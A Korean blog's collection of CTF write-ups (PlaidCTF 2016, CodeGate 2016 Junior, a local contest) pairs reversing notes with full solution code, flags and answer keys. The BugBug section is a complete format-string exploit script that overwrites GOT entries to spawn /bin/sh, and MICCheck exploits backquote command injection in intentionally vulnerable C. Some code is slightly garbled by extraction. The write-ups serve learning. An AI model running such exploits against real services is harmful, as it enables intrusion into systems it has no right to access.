반응형

Swift Linux 용 컴파일된 바이너리이다.



여기서 한번 틀렸다고 하는데

여기는 일부러 틀리게 만든 곳이니 무시하고 지나간다.

이때 _TTSg5Vs5UInt8___TFSag9subscriptFSix는

문자열을 하나 가져오는 함수인것을 알 수 있다.




위 있는 sub_403510에 값을 넣고 연산을 통해

나온 값을 저장한 뒤 나중에 비교연산을 하는 것을 알 수 있다.


연산은 간단하게 a1의 하위 3바이트를 가지고 a2를 ROR하는게 끝이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
= "\x00\x50\x43\x8a\x64\xed\xa6\xab\x93"\
"\xcc\xeb\xc2\x9a\xfa\x6a\xab\x93\xcc\xeb"\
"\x6a\xbb\x62\x33\xd1\xf5\xc2\x9a\xfa\x6a"\
"\xbb\x62\x33\xd1\xd7"
= ""
key = ""
= 0
for i in range(33):
    t = s & 7
    if t == 0:
        key += k[i+1]
        s = ord(k[i+1])
        continue
    a1 = ord(k[i+1]) << t
    a2 = ord(k[i+1]) >> (8-t)
    a = (a1 | a2) & 0xff
    key+= chr(a)
    s = a
print key
cs

PCTF{5ur3_a5_5ur3_5w1ft_a5_5w1ft}


'CTF' 카테고리의 다른 글

Codegate2017 prequals Writeup  (0) 2017.02.15
H3X0R - Stage1  (0) 2017.01.08
CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
반응형

코드게이트 2016 주니어 BugBug

포멧 스트링 문제이다.

로또를 풀때 시드값을 릭하는 것은

Name 다음 바로 시드가 위치하기 때문에

Name을 체우게 되면 시드를 릭할 수 있다.


그 다음에는 포멧 스트링인데

첫번째 때 GOT를 하고 exit를 오버라이딩해서

system을 구하고 다시 이름을 입력 받는 부분으로 되돌아 간다

두번째 때 printf 를 system으로 오버라이딩한 다음

exit를 printf(Name)으로 돌려 system("/bin/sh")를 실행 시키게 한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from socket import *
from time import *
from struct import pack,unpack
from ctypes import *
= lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
connectto = ('192.168.226.130',9623)
exit_got = 0x804a024
printf_got = 0x804a010
libc_start_got=0x804a02c
back_scanf = 0x804883d
back_printf = 0x8048960
def main():
    libc = CDLL('libc.so.6')
    S = socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
   
    sleep(0.5)
    print S.recv(1024)
   
    # leak GOT, overwrite exit GOT to back_scan
    payload1 = ""
    payload1 += p(libc_start_got)
    payload1 += "%17$saaa"
    payload1 += p(exit_got) + p(exit_got+2)
    T = (back_scanf << 16+ 39
    payload = ""
    for i in range(0,2):
        tmp = ((T >> (16*(i+1))) & 0xffff- ((T >> (16*i)) & 0xffff)
        if tmp < 0:
            tmp += 0x10000
        payload += "%"+str(tmp)+"c"+"%"+str(i+20)+"$n"
    payload1 += payload
    payload1 += "A"*(0x63-len(payload1))+'B'
    S.send(payload1)
    sleep(0.5)
    re = S.recv(1024)
    print re
    seed = up(re[re.find('B')+1:re.find('B')+5])
    print "[*] Seed : "+str(hex(seed))
    libc.srand(seed)
 
    # LOTTO
    Lotto = []
    LottoS = ""
    length = 0
    while length != 6:
        tmp = libc.rand() % 45 + 1
        if tmp in Lotto:
            continue
        Lotto.append(tmp)
        LottoS+=str(tmp)+" "
        length+=1
    print LottoS
    S.send(LottoS+"\n")
    sleep(1)
    leak = S.recv(102400)
    
    # LEAK
    print leak
    libc_start = up(leak[21:25])
    print "[!] libc_start_main : "+str(hex(libc_start))
    setvbuf = up(leak[25:29])    
    print "[!] setvbuf         : "+str(hex(setvbuf))
    system = libc_start - 0x19990 + 0x40190
    print "[!] system          : "+str(hex(system))
    
    # NEW START
    # Overwrite printf_got to system
    sleep(0.5)
    payload2 = ""
    payload2 += "/bin/sh;"
    payload2 += p(printf_got) + p(printf_got+2)
    payload2 += p(exit_got) + p(exit_got+2)
    T = (((back_printf << 32+ system) << 16+ 24
    payload = ""
    for i in range(0,4):
        tmp = ((T >> (16*(i+1))) & 0xffff- ((T >> (16*i)) & 0xffff)
        if tmp < 0:
            tmp += 0x10000
        payload += "%"+str(tmp)+"c"+"%"+str(i+20)+"$n"
    payload2 += payload 
    payload2 += "A"*(0x63-len(payload2))+"B"
    S.send(payload2)
    print S.recv(1024)
 
    # LOTTO
    Lotto = []
    LottoS = ""
    length = 0
    while length != 6:
        tmp = libc.rand() % 45 + 1
        if tmp in Lotto:
            continue
        Lotto.append(tmp)
        LottoS+=str(tmp)+" "
        length+=1
    print LottoS
    S.send(LottoS+"\n")
    sleep(2)
    print S.recv(402400)
    print "Get Shell"
    S.send("id;\n")
    print S.recv(1024)
 
if __name__ == "__main__":
    main()
cs


'CTF' 카테고리의 다른 글

H3X0R - Stage1  (0) 2017.01.08
PlaidCTF 2016 quick  (0) 2016.04.18
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
반응형

코드게이트 2016 주니어 JS_is_not_a_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function challenge100 (arr) {
    var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6";
    var check = "20150303";
 
    if((arr === null || arr === undefined)) {
        print("arr is null or undefined.");
        return;
    }
 
    if(!arr.hasOwnProperty('length')) {
        print("length property is null or undefined.");
        return;
    }
 
    if(arr.length >= 0) {
        print("i think you're not geek. From now on, a GEEK Only!");
        return;
    }
 
    if(Object.getPrototypeOf(arr) !== Array.prototype) {
        print("Oh.... can you give me an array?");
        return;
    }
 
    var length = check.length;
    for(var i=0;i<length;i++) {
        arr[i] = random_value[Math.floor(Math.random() * random_value.length)];
    }
 
    for(i=0;i<length;i++) {
        if(arr[i] !== check[i]) {
                print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)");
                return;
        }
    }
    print("Yay!!");
    print(flag);
}
cs

JS challenge 내용이다.
Array 함수 내용이면서 내용이 0미만이어야 하는데
그냥 함수를 만들면 된다.
또한 렌덤함수로 인해 20150303을 맞출 수 없는데
이때도 그냥 함수를 만들면 된다. 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Array() { this.length=-1;}
function math(){
    this.test=-1;
    this.random = function(){return 1;};
    this.floor = function(x){
        this.test+=1;
        if(this.test==0return 22;
        if(this.test==1return 7;
        if(this.test==2return 2;
        if(this.test==3return 30;
        if(this.test==4return 7;
        if(this.test==5return 4;
        if(this.test==6return 7;
        if(this.test==7return 4;
    };
}
var Math=new math();
var test = new Array();
challenge100(test);
cs


'CTF' 카테고리의 다른 글

PlaidCTF 2016 quick  (0) 2016.04.18
CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
2015 정보보호올림피아드 본선 Q2  (0) 2015.10.18
반응형

코드게이트 2016 주니어 MICCheck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
 
int main( int argc, char *argv[], char **environ )
{
    char buf[12= { 0, };
    char cmd[2048= { 0, };
    unsigned int i = 0;    
 
    char **e;
    size_t len;
 
    printf"input path :" );
    fgets( buf, 10, stdin );
 
    for( i = 0; i <= 11; i++ ) {
        if( buf[i] == '\'' ) exit(0);
        if( buf[i] == '&' ) exit(0);
        if( buf[i] == ';' ) exit(0);
        if( buf[i] == '|' ) exit(0);
        if( buf[i] == '\"' ) exit(0);
        if( buf[i] == ' ' ) exit(0);
    }
 
    
    sprintf( cmd, "/bin/ls -al /dev/%s", buf );
 
    for( e = environ; *e; ++e ) {
        len = strlen( *e );
        memset( *e, 0x00, len );
    }
 
    setregid( 10031003 );
    system( cmd );
 
    return 0;
}
cs

위는 MICCheck.c 이다
입력받은 값을 /bin/ls -al /dev/ 뒤에 붙이는데
`(Back quote)가 사용 가능 하다는 것을 이용해서

1
2
3
4
5
#include<stdio.h>
int main(void)
{
    system("cat /home/mic/mic.flag.txt");
}
cs

로 파일을 만들고 컴파일해서

`./(파일이름)` 로 넣어주면 에러로 키가 출력된다.

'CTF' 카테고리의 다른 글

CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
2015 정보보호올림피아드 본선 Q2  (0) 2015.10.18
2015 YISF 순천향대 본선 및 예선 WriteUp  (2) 2015.09.07
반응형

DIMICON 예선 Write UP.pdf


디미고에서한 내부대회 DIMICON 예선 Write Up입니다.

본선은 대회하고 곧 올리겠습니다.

'CTF' 카테고리의 다른 글

CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
2015 정보보호올림피아드 본선 Q2  (0) 2015.10.18
2015 YISF 순천향대 본선 및 예선 WriteUp  (2) 2015.09.07
반응형

학교제한으로 못나갔지만 문제 받아서 풀어봤습니다.



일단 UPX패킹되어있으므로 압축을 풀어서 IDA로 살펴보았습니다.




이 문자열에서 스테이지 번호를 출력함을 알 수 있으므로 

스테이지 번호를 담고 있는 변수가 있음을 알 수 있습니다.




0x401300으로 이동해 보겠습니다.




Stage를 찾고 다시 이것을 누가 참조하는지

확인해 보았습니다.




sub_402020 = 스테이지 증가

MakeMap = 스테이지 1이면 맵 고정

sub_401300 = 스테이지 출력

sub_401E90 = 스테이지 20과 63일때의 트리거

sub_4034A0 = 스테이지 초기화


이렇기 때문에 우리는 sub_402020과 sub_401E90만

중요하게 생각하면 됩니다.



이때 스테이지가 20이면 1번 이 찾아지고

60이면 3번이 찾아집니다.

이때 20번을 보면 Pass : Congratulation이라 되어있는데

이것은 비밀번호의 키이며

비밀번호를 입력할시 2번이 찾아집니다.




이부분에서 eax를 조정하여

20층 -> 사망 -> 비밀번호 입력 -> 63층

으로가면 키가 나옵니다.




Player20

KEY : 6Sa8Qu6Eo8Uy4Ye







 

'CTF' 카테고리의 다른 글

CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
2015 YISF 순천향대 본선 및 예선 WriteUp  (2) 2015.09.07
반응형


2015년도 순천향대 정보보호 페스티벌 예선 및 본선 문제 풀이 자료입니다.




제 13회 순천향대 예선 풀이.pdf


제 13회 순천향대 본선 풀이.pdf


'CTF' 카테고리의 다른 글

CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
2015 정보보호올림피아드 본선 Q2  (0) 2015.10.18

+ Recent posts